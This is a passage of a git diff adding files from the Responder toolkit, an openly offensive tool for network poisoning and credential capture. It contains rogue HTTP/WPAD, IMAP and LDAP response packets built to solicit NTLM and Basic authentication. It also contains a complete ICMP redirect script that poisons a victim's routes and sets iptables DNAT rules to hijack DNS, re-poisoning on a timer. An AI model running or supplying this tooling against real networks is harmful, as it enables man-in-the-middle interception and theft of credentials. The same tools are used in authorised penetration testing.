+ ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
+ ("TargetNameStr", "SMB"),
+ ("Av1", "\x02\x00"),#nbt name
+ ("Av1Len", "\x06\x00"),
+ ("Av1Str", "SMB"),
+ ("Av2", "\x01\x00"),#Server name
+ ("Av2Len", "\x14\x00"),
+ ("Av2Str", "SMB-TOOLKIT"),
+ ("Av3", "\x04\x00"),#Full Domain name
+ ("Av3Len", "\x12\x00"),
+ ("Av3Str", "smb.local"),
+ ("Av4", "\x03\x00"),#Full machine domain name
+ ("Av4Len", "\x28\x00"),
+ ("Av4Str", "server2003.smb.local"),
+ ("Av5", "\x05\x00"),#Domain Forest Name
+ ("Av5Len", "\x12\x00"),
+ ("Av5Str", "smb.local"),
+ ("Av6", "\x00\x00"),#AvPairs Terminator
+ ("Av6Len", "\x00\x00"),
+ ])
+
+ def calculate(self):
+ ##First convert to uni
+ self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
+ self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
+ self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
+ self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
+ self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
+ self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
+
+ ##Then calculate
+ CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
+
+ CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
+
+ CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
+
+ # Target Name Offsets
+ self.fields["TargetNameOffset"] = struct.pack(".
+import struct
+from odict import OrderedDict
+from base64 import b64decode,b64encode
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found.
+class WPADScript(Packet):
+ fields = OrderedDict([
+ ("Code", "HTTP/1.1 200 OK\r\n"),
+ ("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
+ ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
+ ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
+ ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
+ ("ContentLen", "Content-Length: "),
+ ("ActualLen", "76"),
+ ("CRLF", "\r\n\r\n"),
+ ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
+ ])
+ def calculate(self):
+ self.fields["ActualLen"] = len(str(self.fields["Payload"]))
+
+class ServerExeFile(Packet):
+ fields = OrderedDict([
+ ("Code", "HTTP/1.1 200 OK\r\n"),
+ ("ContentType", "Content-Type: application/octet-stream\r\n"),
+ ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
+ ("AcceptRanges", "Accept-Ranges: bytes\r\n"),
+ ("Server", "Server: Microsoft-IIS/7.5\r\n"),
+ ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
+ ("ContentLen", "Content-Length: "),
+ ("ActualLen", "76"),
+ ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
+ ("Connection", "Connection: keep-alive\r\n"),
+ ("X-CCC", "US\r\n"),
+ ("X-CID", "2\r\n"),
+ ("CRLF", "\r\n"),
+ ("Payload", "jj"),
+ ])
+ def calculate(self):
+ self.fields["ActualLen"] = len(str(self.fields["Payload"]))
+
+class ServeAlwaysExeFile(Packet):
+ fields = OrderedDict([
+ ("Code", "HTTP/1.1 200 OK\r\n"),
+ ("ContentType", "Content-Type: application/octet-stream\r\n"),
+ ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
+ ("AcceptRanges", "Accept-Ranges: bytes\r\n"),
+ ("Server", "Server: Microsoft-IIS/7.5\r\n"),
+ ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
+ ("ContentDisp", "Content-Disposition: attachment; filename="),
+ ("ContentDiFile", ""),
+ ("FileCRLF", ";\r\n"),
+ ("ContentLen", "Content-Length: "),
+ ("ActualLen", "76"),
+ ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
+ ("Connection", "Connection: keep-alive\r\n"),
+ ("X-CCC", "US\r\n"),
+ ("X-CID", "2\r\n"),
+ ("CRLF", "\r\n"),
+ ("Payload", "jj"),
+ ])
+ def calculate(self):
+ self.fields["ActualLen"] = len(str(self.fields["Payload"]))
+
+class ServeAlwaysNormalFile(Packet):
+ fields = OrderedDict([
+ ("Code", "HTTP/1.1 200 OK\r\n"),
+ ("ContentType", "Content-Type: text/html\r\n"),
+ ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
+ ("AcceptRanges", "Accept-Ranges: bytes\r\n"),
+ ("Server", "Server: Microsoft-IIS/7.5\r\n"),
+ ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
+ ("ContentLen", "Content-Length: "),
+ ("ActualLen", "76"),
+ ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
+ ("Connection", "Connection: keep-alive\r\n"),
+ ("X-CCC", "US\r\n"),
+ ("X-CID", "2\r\n"),
+ ("CRLF", "\r\n"),
+ ("Payload", "jj"),
+ ])
+ def calculate(self):
+ self.fields["ActualLen"] = len(str(self.fields["Payload"]))
+
+#HTTP Packet used for further NTLM auth.
+class IIS_Auth_407_Ans(Packet):
+ fields = OrderedDict([
+ ("Code", "HTTP/1.1 407 Authentication Required\r\n"),
+ ("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
+ ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
+ ("Type", "Content-Type: text/html\r\n"),
+ ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
+ ("Connection", "Connection: close \r\n"),
+ ("PConnection", "proxy-Connection: close \r\n"),
+ ("Len", "Content-Length: 0\r\n"),
+ ("CRLF", "\r\n"),
+ ])
+
+#HTTP NTLM packet.
+class IIS_407_NTLM_Challenge_Ans(Packet):
+ fields = OrderedDict([
+ ("Code", "HTTP/1.1 407 Authentication Required\r\n"),
+ ("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
+ ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
+ ("Type", "Content-Type: text/html\r\n"),
+ ("WWWAuth", "Proxy-Authenticate: NTLM "),
+ ("Payload", ""),
+ ("Payload-CRLF", "\r\n"),
+ ("PoweredBy", "X-Powered-By: SMB-TOOLKIT\r\n"),
+ ("Len", "Content-Length: 0\r\n"),
+ ("CRLF", "\r\n"),
+ ])
+
+ def calculate(self,payload):
+ self.fields["Payload"] = b64encode(payload)
+
+#HTTP Basic answer packet.
+class IIS_Basic_407_Ans(Packet):
+ fields = OrderedDict([
+ ("Code", "HTTP/1.1 407 Unauthorized\r\n"),
+ ("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
+ ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
+ ("Type", "Content-Type: text/html\r\n"),
+ ("WWW-Auth", "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"),
+ ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
+ ("Len", "Content-Length: 0\r\n"),
+ ("CRLF", "\r\n"),
+ ])
diff --git a/libs/responder/IMAPPackets.py b/libs/responder/IMAPPackets.py
new file mode 100644
index 0000000..51f13e8
--- /dev/null
+++ b/libs/responder/IMAPPackets.py
@@ -0,0 +1,55 @@
+#! /usr/bin/env python
+# NBT-NS/LLMNR Responder
+# Created by Laurent Gaffie
+# Copyright (C) 2014 Trustwave Holdings, Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import struct
+from odict import OrderedDict
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+#IMAP4 Greating class
+class IMAPGreating(Packet):
+ fields = OrderedDict([
+ ("Code", "* OK IMAP4 service is ready."),
+ ("CRLF", "\r\n"),
+ ])
+
+#IMAP4 Capability class
+class IMAPCapability(Packet):
+ fields = OrderedDict([
+ ("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
+ ("CRLF", "\r\n"),
+ ])
+
+#IMAP4 Capability class
+class IMAPCapabilityEnd(Packet):
+ fields = OrderedDict([
+ ("Tag", ""),
+ ("Message", " OK CAPABILITY completed."),
+ ("CRLF", "\r\n"),
+ ])
diff --git a/libs/responder/Icmp-Redirect.py b/libs/responder/Icmp-Redirect.py
new file mode 100644
index 0000000..98e1355
--- /dev/null
+++ b/libs/responder/Icmp-Redirect.py
@@ -0,0 +1,266 @@
+#! /usr/bin/env python
+# NBT-NS/LLMNR Responder
+# Created by Laurent Gaffie
+# Copyright (C) 2014 Trustwave Holdings, Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import sys,socket,struct,optparse,random,pipes
+from socket import *
+from odict import OrderedDict
+from random import randrange
+from time import sleep
+from subprocess import call
+from pipes import quote
+
+parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
+ prog=sys.argv[0],
+ )
+parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
+
+parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
+
+parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
+
+parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
+
+parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
+
+parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
+
+parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
+
+options, args = parser.parse_args()
+
+if options.OURIP is None:
+ print "-i mandatory option is missing.\n"
+ parser.print_help()
+ exit(-1)
+
+if options.OriginalGwAddr is None:
+ print "-g mandatory option is missing, please provide the original gateway address.\n"
+ parser.print_help()
+ exit(-1)
+
+if options.VictimIP is None:
+ print "-t mandatory option is missing, please provide a target.\n"
+ parser.print_help()
+ exit(-1)
+
+if options.Interface is None:
+ print "-I mandatory option is missing, please provide your network interface.\n"
+ parser.print_help()
+ exit(-1)
+
+if options.ToThisHost is None:
+ print "-r mandatory option is missing, please provide a destination target.\n"
+ parser.print_help()
+ exit(-1)
+
+if options.AlternateGwAddr is None:
+ AlternateGwAddr = options.OURIP
+
+#Setting some vars.
+OURIP = options.OURIP
+OriginalGwAddr = options.OriginalGwAddr
+AlternateGwAddr = options.AlternateGwAddr
+VictimIP = options.VictimIP
+ToThisHost = options.ToThisHost
+ToThisHost2 = options.ToThisHost2
+Interface = options.Interface
+
+def Show_Help(ExtraHelpData):
+ help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
+ help+= ExtraHelpData
+ print help
+
+MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+def GenCheckSum(data):
+ s = 0
+ for i in range(0, len(data), 2):
+ q = ord(data[i]) + (ord(data[i+1]) << 8)
+ f = s+q
+ s = (f & 0xffff) + (f >> 16)
+ return struct.pack("H", len(CalculateLen))
+ # Then CheckSum this packet
+ CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])
+ self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
+
+class ICMPRedir(Packet):
+ fields = OrderedDict([
+ ("Type", "\x05"),
+ ("OpCode", "\x01"),
+ ("CheckSum", "\x00\x00"),
+ ("GwAddr", ""),
+ ("Data", ""),
+
+ ])
+
+ def calculate(self):
+ #Set the values
+ self.fields["GwAddr"] = inet_aton(OURIP)
+ # Then CheckSum this packet
+ CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
+ self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)
+
+class DummyUDP(Packet):
+ fields = OrderedDict([
+ ("SrcPort", "\x00\x35"), #port 53
+ ("DstPort", "\x00\x35"),
+ ("Len", "\x00\x08"), #Always 8 in this case.
+ ("CheckSum", "\x00\x00"), #CheckSum disabled.
+ ])
+
+def ReceiveArpFrame(DstAddr):
+ s = socket(AF_PACKET, SOCK_RAW)
+ s.settimeout(5)
+ Protocol = 0x0806
+ s.bind((Interface, Protocol))
+ OurMac = s.getsockname()[4]
+ Eth = EthARP(SrcMac=OurMac)
+ Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac)
+ Arp.calculate()
+ final = str(Eth)+str(Arp)
+ try:
+ s.send(final)
+ data = s.recv(1024)
+ DstMac = data[22:28]
+ DestMac = DstMac.encode('hex')
+ PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
+ return PrintMac,DstMac
+ except:
+ print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
+ exit(1)
+
+def IcmpRedirectSock(DestinationIP):
+ PrintMac,DestMac = ReceiveArpFrame(VictimIP)
+ print '[ARP]Target Mac address is :',PrintMac
+ PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
+ print '[ARP]Router Mac address is :',PrintMac
+ s = socket(AF_PACKET, SOCK_RAW)
+ Protocol = 0x0800
+ s.bind((Interface, Protocol))
+ Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
+ IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
+ IPPackUDP.calculate()
+ ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
+ ICMPPack.calculate()
+ IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack))
+ IPPack.calculate()
+ final = str(Eth)+str(IPPack)
+ s.send(final)
+ print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)
+
+def FindWhatToDo(ToThisHost2):
+ if ToThisHost2 != None:
+ Show_Help('Hit CRTL-C to kill this script')
+ RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
+ if ToThisHost2 == None:
+ Show_Help(MoreHelp)
+ IcmpRedirectSock(DestinationIP=ToThisHost)
+ exit()
+
+def RunThisInLoop(host, host2, ip):
+ dns1 = pipes.quote(host)
+ dns2 = pipes.quote(host2)
+ ouripadd = pipes.quote(ip)
+ call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
+ call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
+ print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
+ while True:
+ IcmpRedirectSock(DestinationIP=dns1)
+ IcmpRedirectSock(DestinationIP=dns2)
+ print "[+]Repoisoning the target in 8 minutes..."
+ sleep(480)
+
+FindWhatToDo(ToThisHost2)
diff --git a/libs/responder/LDAPPackets.py b/libs/responder/LDAPPackets.py
new file mode 100644
index 0000000..7de4409
--- /dev/null
+++ b/libs/responder/LDAPPackets.py
@@ -0,0 +1,238 @@
+#! /usr/bin/env python
+# NBT-NS/LLMNR Responder
+# Created by Laurent Gaffie
+# Copyright (C) 2014 Trustwave Holdings, Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+
+import struct
+from odict import OrderedDict
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+
+class LDAPSearchDefaultPacket(Packet):
+ fields = OrderedDict([
+ ("ParserHeadASNID", "\x30"),
+ ("ParserHeadASNLen", "\x0c"),
+ ("MessageIDASNID", "\x02"),
+ ("MessageIDASNLen", "\x01"),
+ ("MessageIDASNStr", "\x0f"),
+ ("OpHeadASNID", "\x65"),
+ ("OpHeadASNIDLen", "\x07"),
+ ("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
+ ])
+
+class LDAPSearchSupportedCapabilitiesPacket(Packet):
+ fields = OrderedDict([
+ ("ParserHeadASNID", "\x30"),
+ ("ParserHeadASNLenOfLen", "\x84"),
+ ("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
+ ("MessageIDASNID", "\x02"),
+ ("MessageIDASNLen", "\x01"),
+ ("MessageIDASNStr", "\x02"),
+ ("OpHeadASNID", "\x64"),
+ ("OpHeadASNIDLenOfLen", "\x84"),
+ ("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
+ ("ObjectName", "\x04\x00"),
+ ("SearchAttribASNID", "\x30"),
+ ("SearchAttribASNLenOfLen", "\x84"),
+ ("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
+ ("SearchAttribASNID1", "\x30"),
+ ("SearchAttribASN1LenOfLen", "\x84"),
+ ("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
+ ("SearchAttribASN2ID", "\x04"),
+ ("SearchAttribASN2Len", "\x15"),#21
+ ("SearchAttribASN2Str", "supportedCapabilities"),
+ ("SearchAttribASN3ID", "\x31"),
+ ("SearchAttribASN3LenOfLen", "\x84"),
+ ("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
+ ("SearchAttrib1ASNID", "\x04"),
+ ("SearchAttrib1ASNLen", "\x16"),#22
+ ("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
+ ("SearchAttrib2ASNID", "\x04"),
+ ("SearchAttrib2ASNLen", "\x17"),#23
+ ("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
+ ("SearchAttrib3ASNID", "\x04"),
+ ("SearchAttrib3ASNLen", "\x17"),#23
+ ("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
+ ("SearchDoneASNID", "\x30"),
+ ("SearchDoneASNLenOfLen", "\x84"),
+ ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
+ ("MessageIDASN2ID", "\x02"),
+ ("MessageIDASN2Len", "\x01"),
+ ("MessageIDASN2Str", "\x02"),
+ ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
+ ## No need to calculate anything this time, this packet is generic.
+ ])
+
+class LDAPSearchSupportedMechanismsPacket(Packet):
+ fields = OrderedDict([
+ ("ParserHeadASNID", "\x30"),
+ ("ParserHeadASNLenOfLen", "\x84"),
+ ("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
+ ("MessageIDASNID", "\x02"),
+ ("MessageIDASNLen", "\x01"),
+ ("MessageIDASNStr", "\x02"),
+ ("OpHeadASNID", "\x64"),
+ ("OpHeadASNIDLenOfLen", "\x84"),
+ ("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
+ ("ObjectName", "\x04\x00"),
+ ("SearchAttribASNID", "\x30"),
+ ("SearchAttribASNLenOfLen", "\x84"),
+ ("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
+ ("SearchAttribASNID1", "\x30"),
+ ("SearchAttribASN1LenOfLen", "\x84"),
+ ("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
+ ("SearchAttribASN2ID", "\x04"),
+ ("SearchAttribASN2Len", "\x17"),#23
+ ("SearchAttribASN2Str", "supportedSASLMechanisms"),
+ ("SearchAttribASN3ID", "\x31"),
+ ("SearchAttribASN3LenOfLen", "\x84"),
+ ("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
+ ("SearchAttrib1ASNID", "\x04"),
+ ("SearchAttrib1ASNLen", "\x06"),#6
+ ("SearchAttrib1ASNStr", "GSSAPI"),
+ ("SearchAttrib2ASNID", "\x04"),
+ ("SearchAttrib2ASNLen", "\x0a"),#10
+ ("SearchAttrib2ASNStr", "GSS-SPNEGO"),
+ ("SearchAttrib3ASNID", "\x04"),
+ ("SearchAttrib3ASNLen", "\x08"),#8
+ ("SearchAttrib3ASNStr", "EXTERNAL"),
+ ("SearchAttrib4ASNID", "\x04"),
+ ("SearchAttrib4ASNLen", "\x0a"),#10
+ ("SearchAttrib4ASNStr", "DIGEST-MD5"),
+ ("SearchDoneASNID", "\x30"),
+ ("SearchDoneASNLenOfLen", "\x84"),
+ ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
+ ("MessageIDASN2ID", "\x02"),
+ ("MessageIDASN2Len", "\x01"),
+ ("MessageIDASN2Str", "\x02"),
+ ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
+ ## No need to calculate anything this time, this packet is generic.
+ ])
+
+class LDAPNTLMChallenge(Packet):
+ fields = OrderedDict([
+ ("ParserHeadASNID", "\x30"),
+ ("ParserHeadASNLenOfLen", "\x84"),
+ ("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
+ ("MessageIDASNID", "\x02"),
+ ("MessageIDASNLen", "\x01"),
+ ("MessageIDASNStr", "\x02"),
+ ("OpHeadASNID", "\x61"),
+ ("OpHeadASNIDLenOfLen", "\x84"),
+ ("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
+ ("Status", "\x0A"),
+ ("StatusASNLen", "\x01"),
+ ("StatusASNStr", "\x0e"), #In Progress.
+ ("MatchedDN", "\x04\x00"), #Null
+ ("ErrorMessage", "\x04\x00"), #Null
+ ("SequenceHeader", "\x87"),
+ ("SequenceHeaderLenOfLen", "\x81"),
+ ("SequenceHeaderLen", "\x82"), #188
+ ("NTLMSSPSignature", "NTLMSSP"),
+ ("NTLMSSPSignatureNull", "\x00"),
+ ("NTLMSSPMessageType", "\x02\x00\x00\x00"),
+ ("NTLMSSPNtWorkstationLen","\x1e\x00"),
+ ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
+ ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
+ ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
+ ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
+ ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("NTLMSSPNtTargetInfoLen","\x94\x00"),
+ ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
+ ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
+ ("NegTokenInitSeqMechMessageVersionHigh","\x05"),
+ ("NegTokenInitSeqMechMessageVersionLow","\x02"),
+ ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
+ ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
+ ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
+ ("NTLMSSPNtWorkstationName","SMB12"),
+ ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
+ ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
+ ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
+ ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
+ ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
+ ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
+ ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
+ ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
+ ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
+ ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
+ ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
+ ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
+ ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
+ ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
+ ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
+ ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
+ ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
+ ])
+
+ def calculate(self):
+
+ ##Convert strings to Unicode first...
+ self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
+ self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
+ self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
+ self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
+ self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
+ self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
+
+ ###### Workstation Offset
